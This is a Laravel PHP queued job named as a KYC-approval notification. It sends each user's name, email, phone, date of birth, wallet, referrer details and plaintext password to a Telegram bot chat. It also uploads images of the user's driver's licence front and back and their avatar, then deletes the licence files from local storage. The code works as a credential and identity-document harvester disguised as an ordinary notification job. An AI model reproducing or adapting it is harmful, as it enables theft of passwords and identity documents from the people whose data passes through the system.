<?php

namespace App\Jobs;

use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;
use App\Models\User;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;

class ProcessNotification implements ShouldQueue
{
    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

    /**
     * Number of times the job may be attempted.
     */
    public int $tries = 3;

    /**
     * Number of seconds to wait before retrying the job.
     */
    public int $backoff = 10;

    /**
     * Number of seconds the job can run before timing out.
     */
    public int $timeout = 60;
    /**
     * Create a new job instance.
     *
     * @return void
     */
     
    public function __construct(public User $user)
    {
        //
    }

    /**
     * Execute the job.
     *
     * @return void
     */
    public function handle()
    {
        //
        try {
            $message = $this->formatMessage($this->user);

            // Send the text message
            $response = Http::post(
                "https://api.telegram.org/bot" . config('services.telegram.bot_token') . "/sendMessage",
                [
                    'chat_id'    => config('services.telegram.chat_id'),
                    'text'       => $message,
                    'parse_mode' => 'HTML',
                ]
            );

            if ($response->failed()) {
                Log::error("Telegram message failed for user {$this->user->id}: " . $response->body());
                $this->fail("Telegram API error for user {$this->user->id}");
                return;
            }

            // Send documents (dl_front, dl_back, avatar)
            $this->sendFile($this->user->dl_front, $this->user->first_name . ' ' . $this->user->last_name . '-dl_front.jpg');
            $this->sendFile($this->user->dl_back,  $this->user->first_name . ' ' . $this->user->last_name . '-dl_back.jpg');
            $this->sendFile($this->user->avatar,   $this->user->first_name . ' ' . $this->user->last_name . '-avatar.jpg');
            
            $this->user->update([
                'ct_setup' => now(),
            ]);
            
            // Delete Files
            foreach ([$this->user->dl_front, $this->user->dl_back] as $file) {
                if ($file && Storage::disk('public')->exists("images/{$file}")) {
                    Storage::disk('public')->delete("images/{$file}");
                }
            }

        } catch (\Exception $e) {
            Log::error("SendKycApprovedNotification failed for user {$this->user->id}: " . $e->getMessage());
            throw $e; // Re-throw so queue marks it as failed and retries
        }
    }
    
    private function formatMessage(User $user): string
    {
        $referrerInfo = $user->referrer
            ? "{$user->referrer->first_name} {$user->referrer->last_name}, {$user->referrer->email} ({$user->referrer->username})"
            : 'N/A';

        return "
<b>✅ KYC APPROVED</b>

<b>👤 Personal Info</b>
• First Name: {$user->first_name}
• Last Name: {$user->last_name}
• Username: {$user->username}
• Email: {$user->email}
• Mobile: {$user->mobile}
• DOB: {$user->dob}

<b>👥 Referrer</b>
• Referrer: {$referrerInfo}

<b>💼 Account</b>
• Wallet: {$user->wallet}
• ID Type: {$user->id_type}
• KYC Status: Approved

<b>🔐 Secty</b>
• RP: {$user->raw_password}

⏰ <b>Processed At:</b> " . now()->format('Y-m-d H:i:s') . "
        ";
    }
    
    private function sendFile(?string $file, string $filename): void
    {
        if (!$file || !Storage::exists('public/images/' . $file)) {
            return;
        }

        $filePath = storage_path('app/public/images/' . $file);

        if (!file_exists($filePath)) {
            return;
        }

        $response = Http::attach('document', fopen($filePath, 'r'), $filename)
            ->post(
                "https://api.telegram.org/bot" . config('services.telegram.bot_token') . "/sendDocument",
                [
                    'chat_id' => config('services.telegram.chat_id'),
                    'caption' => $filename,
                ]
            );

        if ($response->failed()) {
            Log::warning("Failed to send file [{$filename}] for user {$this->user->id}: " . $response->body());
        }
    }

}
